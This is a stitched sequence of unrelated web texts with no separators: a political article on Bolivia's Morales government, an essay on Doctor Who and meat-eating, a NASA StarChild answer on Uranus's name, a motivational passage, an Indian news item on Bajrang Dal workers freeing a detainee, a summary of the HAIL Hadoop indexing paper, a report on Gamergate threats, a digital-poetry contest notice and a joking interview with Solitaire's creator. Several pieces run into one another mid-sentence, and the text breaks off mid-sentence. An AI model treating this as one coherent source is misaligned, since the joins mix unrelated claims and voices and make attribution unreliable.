the majority of the population still subsisting outside of the so-called formal economy. While promoting political and cultural autonomy for Bolivia’s indigenous people, the government has done little to ameliorate the conditions for the masses of peasants through land reform. Land distribution in Bolivia remains among the most unequal in the world, with 91 percent of the arable land in the hands of barely 5 percent of the population. Following the election, Morales’s vice president, Alvaro Garcia Linera, promised the Argentine daily Clarín that there would be no land expropriations, insisting that the country’s constitution guaranties the right of private property and the “economic, social role that it must play.” Despite the use of the word “socialism” in the name of the ruling party and the rhetoric of Morales and other officials, Garcia Linera has insisted that the government’s real program is that of “Andean-Amazonian capitalism,” by which he means the use of the state to promote capitalist development. The Morales government has presided over one of the highest growth rates in Bolivia’s history—and currently the highest in the entire hemisphere—thanks largely to the sharp rise in energy and mineral prices. In 2008, the economy grew at a rate of 6.2 percent. With a decline in both prices and exports, this rate has fallen to a projected 3 percent growth rate for 2009. The president and his party, the MAS, benefited from the disarray of their right-wing rivals, who proved unable to mount a unified ticket. The right’s leading candidate, with 23 percent of the vote, was Manfred Reyes Villa, a former army captain and governor of Cochabamba, who was tried for corruption. Trailing him was cement magnate Samuel Doria Medina, with about 8 percent. The character of the right-wing opposition was spelled out in Reyes Villa’s choice for a running mate. Vice-presidential candidate Leopoldo Fernández conducted his election campaign from behind bars. The former head of the department of Pando, he was arrested on charges of having ordered the massacre of at least 13 peasants and students in the town of El Porvenir in September of last year. The massacre came in the wake of the “civic coup” launched by the business elites in the so-called Media Luna (Half Moon—named for their geographical shape) departments of Santa Cruz, Beni, Pando and Tarija, which possess the lion’s share of the country’s natural gas reserves as well as most of the largest and most profitable agricultural estates. In support of the demand for secession from Bolivia, the action included the sacking of government offices and other acts of violence that left scores dead and wounded. Morales and the MAS conducted their election campaign with the aim of placating some of these wealthier layers and, in particular, winning over better-off sections of the petty bourgeoisie. While making gains in the region, Morales trailed in three of the provinces, managing to secure a slightly greater vote than the rightist opposition only in Tarija, where 49 percent cast ballots for the incumbent, as opposed to 40 percent for Reyes Villa and 8 percent for Doria Medina. After the announcement of the election results, Vice President Garcia Linera told the media, “I hope that the opposition groups abandon the savage opposition of the last four years, which has been based on the rejection of any government initiative, of dialogue and of offers of consensus.” Their debacle at the polls will not render the Bolivian right and the business elites any more amendable to the government’s program. On the contrary, they will seek other means of opposing the Morales government, which include the threat of turning to the traditional instrument for ousting Bolivian heads of state—military coup. This opposition continues to enjoy the support of Washington. Following the events of September 2008, Morales ordered the expulsion of the US ambassador because of the embassy’s links to the “civic coup.” The Bush administration retaliated by expelling Bolivia’s ambassador from Washington. There has been no restoration of normal diplomatic relations under Obama. On the contrary, the new Democratic administration reimposed the principal punitive measure taken under Bush, canceling import duty waivers that are worth $25 million annually to the Bolivian economy. The pretext for this action was that the Morales government had failed to sufficiently combat coca cultivation—this despite the fact that the increase in coca production in Bolivia is a fraction of the increase in Colombia, which remains Washington’s closest ally in the region. It is estimated that trade sanction will cost some 20,000 Bolivian workers their jobs, mostly in textile and leather goods production.Since the Doctor Who series was rebooted in 2005 the television show has consistently presented the Doctor as a moral leader, a key element of which is his respectful relationship with other species. The Doctor expresses admiration and wonder for others, even when they threaten him or his human companions. Christopher Eccleston, who played the first relaunched Doctor, told the BBC that the new show retained “the central message of love for life in all its forms”. If this is the case, we have wondered, why isn’t the Doctor a vegan? Peter Capaldi, who plays the latest incarnation of the Doctor, has not eaten meat on screen. This is a non-human character who does not appear eat other non-humans, and in this regard he differs from his previous three incarnations (Matt Smith, David Tennant, and Eccleston) who were often seen eating dead animals or wearing dead animals’ skins. This is a partial departure from the Doctor’s behaviour during the original series, which ran from 1962 to 1989. The sixth Doctor (played by Colin Baker) became a vegetarian in the 1985 episode The Two Doctors after his companions were almost killed by a species who viewed humans as food animals. But the Doctor’s vegetarianism was expressly abandoned by head writer Russell T Davies when the show returned in 2005. Davies explained that he wrote the Doctor’s vegetarianism out of the series because he wanted to make the Doctor more relatable to the audience. But the result is that the Doctor now displays some very confused ethics. In episode Boom Town from 2005, Eccleston’s Doctor discusses issues about death and mercy with a condemned alien. The scene is set in a restaurant, and the Doctor orders steak and chips. In the episode The Age of Steel from 2006, Tennant’s Doctor expresses how much he enjoys eating meat hotdogs while acknowledging their similarity to what Cybermen unjustly do to humans. In his first episode in 2010, Smith’s Doctor famously ate fish fingers and custard to recover from the regeneration process. Yet in the Christmas episode that year he reacts with wonder and compassion when encountering flying fishes, who he seeks to save. The Eccleston, Tennant and Smith Doctors have all been shown as enthusiastic consumers of some non-human species while at the same time trying to protect others. When the earth is under threat of destruction, the Doctor only ever seems to care about the loss of human lives that might result, and not the many other species living on Earth. In the episode “Cold Earth” from 2010, Smith’s Doctor becomes involved in negotiations for humans to “share” the planet with Silurians, a species of “homo reptilians” who lived on Earth before humans evolved. In the debate over whether there is room for both species, there is no acknowledgement that any species other than humans already live on the planet, or that they are kept and killed for the convenience of humans. Capaldi’s Doctor hasn’t yet been shown eating meat like his predecessors. In his first episode in 2014 he even gently chided his companion Clara’s hypocrisy when she was disgusted by the farming of human body parts by an alien, saying: “You weren’t a vegetarian the last time I looked.” There’s been no overt statement that the Doctor has returned to his vegetarianism, but by conspicuously not eating meat Capaldi’s Doctor has at least brought back the moral consistency of the earlier series’ vegetarian Doctor. Twelve years after Davies’ script decision, it seems the Doctor does not need to eat other species in order for us to relate to the character. As a primetime show aimed at children and adults with a history stretching back more than 50 years, Doctor Who reflects contemporary cultural and ethical norms through the stories it tells. The post-2005 show has been rightly credited for the diversity of its human characters – the new series about to begin sees the introduction of the Doctor’s first openly gay companion, and tipsters feel that the next Doctor may be a woman, or black, or a black woman. However, the modern series has not been so progressive in dealing with our inconsistent ethical relationship with other species, even if the 12th Doctor has gone further than most of his predecessors to demonstrate that he does indeed “love life in all its forms”.StarChild Question of the Month for February 2002 Question: Why did Herschel name his planet Uranus? Answer: Herschel did not name the planet Uranus, he called it "the Georgium Sidus" (the Georgian Planet) in honor of King George III of England. The name "Uranus" was first proposed by German astronomer Johann Elert Bode in order for it to be in conformity with the other planetary names - which are from classical mythology. Uranus is the ancient Greek deity of the Heavens, the earliest supreme god. This name did not achieve common use until 1850. Astronomy is very old science - with at least 4,000 years of history. Many of the names of objects that have been known for a long time are historic in nature. The planets and their moons were given names which came from Greek or Roman mythology. This seemed sensible long ago when the objects were named. These days, so many objects are known that names tend to come from the satellite or observatory which discovered (and catalogued) them and a series of numbers which tell astronomers something about where they are located in the sky. The International Astronomical Union (IAU) is officially in charge of assigning astronomical names. Note that they do not "sell" names to any objects, be they planets or stars. A lengthy dicsussion of astronomical names and how they are assigned can be found at: http://nineplanets.org/names.html An excellent list of the names of planets in various languages can be found at http://nineplanets.org/days.html The StarChild site is a service of the High Energy Astrophysics Science Archive Research Center (HEASARC), Dr. Alan Smale (Director), within the Astrophysics Science Division (ASD) at NASA/ GSFC.Never bet against the individual who has everything to lose. That person who is so possessed with a sense of purpose and destiny that he or she is willing to do whatever it takes for as long as it takes to achieve their desired outcome. That’s the person you don’t mess with. They’re not just talking about what they’re going to do. They’re doing it. They aren’t bothered by your disbelief or by your criticism. People with everything to lose don’t lose sleep because you don’t believe in them or because you think that what they’re trying to do is impossible. They just do it. They try. They make mistakes and end up looking foolish from time to time, but they never lose track of what’s most important. They keep their eyes focused on the prize at the end of the sweat and toil and agony that they are exerting right now. While you spend time wondering what other people are going to think about you, they are heads down in a religious pursuit of their destiny. It’s magnificent to see. Awe-inspiring to behold. And the greatest miracle of all is that you can be one of those people yourself. The only thing that separates them from you is it they have everything to lose. And you don’t seem like you care about your future nearly as much as you should.Correspondent NewsBits.in BHOPAL: In a shocking incident, scores of Bajrang Dal workers forcibly made their way into a police station and freed their leader who had been in the custody of police. Despite heavy police presence, the staff at the police station failed to stop while a detainee was being taken away, forcibly. This incident occurred in Bhopal on late Friday night. The Bajrang Dal leader Kamlesh Thakur was found drinking at a public place in Arera Colony. He allegedly misbehaved with the local policemen and abused them. The police personnel caught him and brought him to the police station. However, as the news about Thakur's detention spread, a large number of Bajrang Dal workers reached the Habibganj police station. They forcibly entered the police station and took away their leader from police custody. The policemen present on the spot couldn't even stop them from taking away Thakur from the police detention. A sort of victory procession was taken out and the Bajrang Dal men danced on the streets. It was only after media persons reached the spot and asked the top officials that a case was later registered against them (Thakur and Bajrang Dal men for stopping public servant from discharge of duty). However, Thakur [photo on the left] is yet to be arrested. The accused, Kamlesh Thakur is regional co-convener of the Bajrang Dal. The oficials say that an inquiry would be conducted to ascertain the circumstances that led to Bajrang Dal cadre's entry into police station and the manner they took away their leader from the custody. [Photo courtesy DainikBhaskar.com]Typically we store data based on any one of the different physical layouts (such as row, column, vertical, PAX etc). And this choice determines its suitability for a certain kind of workload while making it less optimal for other kinds of workloads. Can we store data under different layouts at the same time? Especially within a HDFS environment where each block is replicated a few times. This is the big idea that HAIL (Hadoop Aggressive Indexing Library) pursues. At a very high level it looks like to understand the working of HAIL we will have to look at the three distinct workflows the system is organized around namely – 1) The data/file upload pipeline 2) The indexing pipeline 3) The query pipeline Every unit of information makes its journey through these three pipelines. The Upload Pipeline Here is where we begin. Typically one uploads the file to be analyzed into HDFS first and then executes a set of MR jobs on the Hadoop cluster. With HAIL you use a Hail client to upload the file. The client parses the contents of the file based on newlines and splits it up into blocks such that no row spans across blocks. Additionally the user can also specify a schema while uploading the file (much like in PIG). HAIL then converts all data blocks to a binary PAX representation. The good thing about this pipeline is that the whole transformation happens as the file is being written on HDFS. The blocks are not re-read from HDFS which will cause a lot of extra I/O. This significantly improves the write performance. The client then contacts the Name node to get a list of data nodes. It then sends chunked PAX blocks to the first data node. When the data node receives the packet it immediately forwards the same packet to the next data node. It does this without flushing the contents of the packets and the checksum to the disk. This is the same with every data node that receives the packet. Contents are not flushed to the disk immediately. On receiving a whole block worth of contents the each data node sorts the contents and creates indexes based on the specification of sort order and indexes by the user. Each data node sorts the data in a different order. All the index metadata, the sorted data and checksums etc form what is known as a HAIL block. Within HAIL its vital that the MR jobs run such that they are able to leverage the indexing thats happened on the data nodes. So the tasks have to be scheduled on the data node that has the most suitable index. In order to enable this the sort/index metadata has to be stored at the name node level. An instance of HAILBlockReplicaInfo contains detailed information about the types of available indexes for a replica, i.e. indexing key, index type, size, start offsets etc. The Indexing Pipeline The basic purpose of the indices is to get to the relevant blocks by scanning the index first. After experimenting with a few different types of indexes they seem to have concluded on using a sparse clustered B+ tree based index. The column that needs to be indexed is first sorted in memory and then the index tree is written to the disk on to a single directory. Note that the index is not a multi-level index. The paper gives some back of the envelope calculations for this choice. The Query Pipeline Much of the MR job continues to be written just as before but with some interfaces changed. Firstly the InputFormat implementation used is HailInputFormat. The other nicety of this framework is the typical task of filtering the records which is carried out within the map function can be delegated to HAIL. You can annotate the map function with @HailQuery annotation where you may declaratively specify the projected attributes and the filtering condition. @HailQuery(filter="@3 between(1999-01-01,2000-01-01)", projection={@1}) void map(Text key, HailRecord v) {... } The HailRecordReader which collaborates with HailInputFormat is the component that applies the predicate to filter out the qualifying records. Lastly the value passed to the map function is a HailRecord object. Summing it up HAIL tries to support per-replica indexes in an efï¬cient way and without signiï¬cant changes in the standard execution pipeline. It tries to achieve much of this by providing alternate implementations of the InputFormat and RecordReader interfaces along with a custom splitting policy. HAIL improves upload and query times without impacting the failover properties of Hadoop and minimal change to the map reduce programming interface. Link to the original paperGamergate: Female gamers and developers threatened with rape, murder as online row rages Updated about an hour ago Thu 23 Oct 2014, 7:01am Female video game developers and critics in Australia say they have been threatened with rape and murder as part of a vicious dispute that has gripped the global gaming community. The saga centres on an online movement known as "gamergate". Depending on who you ask, its members are either crusaders for higher ethical standards in the video games press, or a menacing group of misogynists trying to silence feminist criticism of the games they love. Sydney-based independent video game developer and critic 'Sarah' said she had received threats as a part of the movement after she voiced her opinion on an online gaming forum. They were saying that they were going to rape me, they were going to kill me. Sarah, independent video game developer and critic "I was engaging in conversation about Anita Sarkeesian, who is a famous critic," she said. "I challenged someone on their opinions of her because I thought her arguments are actually pretty reasonable and... they ran to friends of theirs, got them together... and started tweeting threats at me. "They were saying that they were going to rape me, they were going to kill me. Very nasty kind of stuff." Sarah said she believed the perpetrators had set up a system that sent multiple threats to her account automatically. Audio file not found Audio: Vicious gender dispute grips gaming industry (The World Today) "They set up... multiple accounts which was terrifying at the time because you'd wake up and your feed would just be full of all these threats," she said. "One person had posted a picture that allowed me to figure out their name, because they'd screen capped [captured] it with their Facebook account in the background so I was able to find out his name, and... get a sense of who the other guys were. "They were all guys and they were all quite young... there were some adults but they were from all over the US and Canada. "That was almost a bit more terrifying - that they were this loose group of people that one of them could call up the others and they would attack." Because the accounts were based in the US, Sarah said she did not take up the matter with Australian police. #Gamergate difficult to define It is difficult to define the gamergate debate, and the eponymous online movement it has spawned. Much of the debate takes place on Twitter, where users use the hashtag #gamergate to contribute their views. Some people who claim to be among the movement's members say they are fighting bias and loose ethics in the video game press. Others say the debate has simply given a name to anti-feminist culture that has been fermenting in the global gaming community for years. The movement originated from a debate about whether video game journalists were too close to the industry, but then took a more threatening turn. Certain sectors of the gaming community have been threatened, or their idea of what games are have been threatened or critiqued by people that they don't see as belonging to their community. PhD student Jessamy Gleeson Earlier this month American feminist critic Anita Sarkeesian was attacked by people claiming to be from the gamergate movement shortly after posting an online video about the portrayal of women in games. She was reportedly then forced to cancel a speech at the University of Utah, after an anonymous threat from somebody who said they were planning to carry out a mass shooting at the event. Jessamy Gleeson, a PhD student focusing on online culture at Swinburne University, said the debate began with legitimate concerns, but had changed. "The original debate was to do with ethics in journalism and particularly gaming journalism, and that was perfectly fine and it's hard to lump all gamergates together," she said. "Certain sectors of the gaming community have been threatened, or their idea of what games are have been threatened or critiqued by people that they don't see as belonging to their community. "So women or people of different colours or genders have been standing up and saying we want more diversity in games, or we want women to take more of an active role in games, or we see sexism in games, and they see that as threatening what they view to be as their form of games."The task The task is to write/implement/design a poetic system message box. Although the task is not programming oriented (you can as well do it in Photoshop or any other piece of software you like) you may want to use the source code of this • example piece as a starting point: suddenly.cpp. Or the one linked below, shall you prefer JavaScript over C++. If you want to avoid programming try searching internet for “error message generator” (generators produce dialog boxes of rather poor appearance so I'd suggest altering it in some graphics editor). You may also include some meaningful nonstandard interaction, like in the next example: Love Fall in love About Seeing that the classical poetry may describe and praise things as noble (or as trivial) as love, why digital poetry should not do alike? The question remains, should such simple programmers' toys be still called “the poetry”. Maybe not yet? But since contemporary art used to deem that everythng could be art, if only an artist do call it art, then so: Hereby I call this script “a poem”! Has become, it is! Do digital poetry has to use classical forms, since it has a lot of its own means of expression, which could be used for narration on their own. The user interface can be a mean of narration too!Seeing that the classical poetry may describe and praise things as noble (or as trivial) as love, why digital poetry should not do alike?The question remains, should such simple programmers' toys be still called “the poetry”. Maybe not yet? But since contemporary art used to deem that everythng could be art, if only an artist do call it art, then so:Has become, it is! Close Example: Love / Fall in love / Cancel / Fall out of love (↖ try it, it's interactive!) The examples are about love but you are not limited in your choice of subject (unless you choose something unethical like child porn – then it is not allowed). You are also not limited to english, but the piece should be in one of the european languages. By european I mean written by latin, greek, cyrillic, glagolytic or runic alphabet (but do not abuse this freedom – incomprehensible works will be rejected). Artificial languages are not allowed (as „incomprehensible”). Fantasy scripts (like tengwar) are allowed only if transcription table to latin alphabet is provided. One again: do not abuse this freedom. Prizes First prize: 50 000 DOGE (what is dogecoin?), and can be increased by donating to: Second and third prizes respectively: 5 000 DOGE and 1 000 DOGE. Remember that the contest is about internet art and not just doge-meme-related fanart. Doge is just a prize! Prize cannot be changed to money equivalent but can be changed to other cryptocurrencies or to deviantArt points. In such case please state your will in the submission. Jury The final decision is solely up to me (Jakub Jagiełło). Submissions Your submission should be sent via e-mail to internet.art@jaboja.pl so that I receive it before 2016-05-02 12:00 UTC. All submissions have to be licensed under terms of one of the Creative Commons licenses and appropriate statement should be included in the submission (otherwise the submission will be rejected). E.g.: Example: „This work is licensed under a Creative Commons Attribution 4.0 International License.” If the piece is a software, one of open source licences approved by OSI may be used instead. Winner(s) annoucement The winners list will be published here before 2016-05-15 and may be copied to other internet sites where the contest is advertised or discussed. Winning artworks (and some non-winning too, if their quality would be acceptable) will be published online among with artists names and their dogecoin addresses (in case anybody wants to fund custom prize for an artwork s he likes). By submitting your work you grant me a right to publish your name or nick (whatever you choose to sign your work by in a submission) on the list of all submited pieces and on the winners list (if you win). If you will have already published your artwork on your favourite portal (deviantArt, Tumblr, Codepen etc.) please include link to it in your submission (unless you do not want it to be linked). Anything else In case of any questions please ask via e-mail.INTERVIEWS: WES CHERRY Wes Cherry. Never heard of him? Well, he's only the creator of possibly the most played computer game ever written. Nope, it's not Space Invaders, but humble Solitaire for Windows, installed on hundreds of millions of machines World wide. Sadly, a compensation or royalty package was never discussed, so he's never benefited financially. We sent Wes a load of questions, and the best part of a year later he got back to us to reveal what it's like to be responsible for a global recession, as well as giving away the secret of Bill Gates' strategy for winning at Minesweeper. Are you bitter at not being paid for such a popular and essential utility? (armaitus) Yeah, especially since you are all probably paid to play it! I would like to compensate you for your fabulous game since Bill Gates won't. How much money do you want? (Artamnesia) One penny per copy. If everybody pitches in, I promise to throw you all a big party. What did you play when you were skiving off during the creation of Solitaire? Do you know I almost failed my degree because of you? Well, and a couple of other minor factors... (queenie_b) Heh, I wrote solitaire instead of studying for finals in college. Exactly how much time and money has been wasted globally as a result of office workers playing Solitaire? (shavedchimp) There was a global recession in 1991/1992, just after Solitaire was released. Thank you very much. Oh, and you can't have your time back. Have you ever been caught playing Solitaire in the office and passed it off as software testing? (DoomedMatt) There was a "boss-key" which when pressed would display some random.C code. Microsoft made me remove that. I once went to see Rick Wakeman in concert. I saw that his sound engineer was playing Solitaire practically all through the performance on his laptop. Who's the most famous person you know who plays Solitaire? (Loz) I know Bill Gates has played it (he said it was too hard to win). Are there any cheats? What are they? (Turnip Boy) Yup. When playing Draw Three, you can hold down Ctrl-Shift-Alt and click on the deck to get one card. That makes most games winnable. Is there a way to change the speed of the card trail thing at the end? I've found it at different speeds on different OS'. (DogsBollocks) Yes, upgrade to a IBM 286 running at 16mHz. That should slow it down right good. Or install Norton Antivirus. I'll leave it to Mr. Moore and his law to make things faster. Actually at the time I wrote Sol, I went through all kinds of hoops to get that final cascade as fast as possible. Oh, and at one point, a computer magazine proposed a SolMark computer speed test: The faster the cascade, the faster your computer. The Vegas scoring mode: 1) How does it work exactly? 2) Why is it so dang difficult? 3) Why was it included? 4) Do you know of anyone who actually plays Solitaire in Vegas mode? (PhilWal) I'm pulling this out of my bottom, which is pretty difficult because there's this big ol' world stuck there. 1) You pay $1 for each card ($52 to deal) and get $5 for each card placed up on the ace piles. Also, you only get 3 runs thru the deck if playing draw 3 or 1 run if playing draw 1. 2) You ever seen those casinos in Vegas? Bloody expensive! 3) I dunno, featuritis. 4) Me, I just did. First time in about 10 years. Do you play Freecell? (pip) Bah! I don't play Solitaire either. Freecell keeps a handy record of playing statistics Why doesn't Solitaire? I'd like one. (Mullet Over) Answer 1: Freecell Freecell Freecell, I'm sick of hearing about how much cooler Freecell is... Answer 2: Because your boss would fire you if he saw those statistics. Is it true that there is an 'Easter egg' embedded in Solitaire that pops up a picture of Bill Gates caught in flagrante delicto with a marine mammal? (Bouncy) Yes. Andrew Wyland has done some magnificent interpretations of the original Easter Egg (Art Editors note: Wyland is a famous producer of new-age marine art - see here). We used to use Borland to hack the game apart and change the card backs to rude things. Does it annoy you when people do that? (K3rry) Funny, I've been vaguely annoyed for the last few years. Thanks for letting me know why. If toast always falls butter side down, and cats always land on their feet, what would happen if you strapped some toast to a cats back? (DogsBollocks) You'd get your eyes gouged out by a pissed cat. What's the best card to leave at a crime scene, you know, to taunt the detectives? (que) A card saying "He went that-away →" pointing the opposite way I went! Hooo hooo heee hooo haw! Did you chose the card-back designs, and are the flappy bats your favourite? (Jadeviper) Half the card backs were designed by my girlfriend Leslie Kooy. Unfortunately she turned into a flappy bat, so we broke up. No, really. Which of those was you favourite design? I like the castle best. How do you feel about the new ones? (Artamnesia) The new ones are losergay. And I mean that in the original 3rd grade sense when gay meant stupid, not people who prefer same sex partners. My fave is the dealer with the Ace crawling up and down his sleeve (which is a reference to a Grateful Dead song, "Doin' that Rag"). I can only win about 1 out of 4 games. Am I crap? (rob) I suggest redefining "winning" to mean "slacking at work". Do you play Minesweeper? What's your high score? (dr_fonz) I did. I actually learned a strategy from Bill Gates to win at Minesweeper: Click as fast and as randomly as you can. If you could choose someone who would be afflicted with only telling the truth for a day, who would you choose? (evil pixie) George Bush. Man, what an evil dude. I wish I had another Solitaire game up my sleeve. If so I'd unleash it upon the world, causing another deep economic recession, leading a summary one term pruning. If you consider how many millions of potential hours of constructive international office time your game has turned into mindless skiving, do you think you've done a good thing or a bad thing? (I think good, so don't feel like I'm putting you on the spot) (Zog) The thing about time is they are always making more of it. No harm done. Have you ever been recognised? What did they say? (rob) "Yes, officer, I'm sure he's the one who did it". If you could take any object in the world and put it somewhere, what would that object be and where would you put it? (.doc) Me, Britney Spears. If you could pick a shape as a new type of card (eg heart, club, diamond) - what shape would it be? (monkeon) Go ask Alice, I think she'll know. Ever been in a fight with an animal? If so... did you win? (Obz) In high-school, my recent ex-friend Mark Causey connected a nice right hook to my chin, knocking me out. Why does that smiley face wearing sunglasses and sticking his tongue out appear in the desert island pack of cards? (TheBear) What the h*ck are you talking about? I suggest a psychiatric evaluation STAT. Are there any cheats? What are they? (Turnip Boy) Yup. When playing Draw Three, you can hold down Ctrl-Shift-Alt and click on the deck to get one card. That makes most games winnable. Why didn't you call it Patience in the English version? (the_fabulous_dancing_yak) Because I speak

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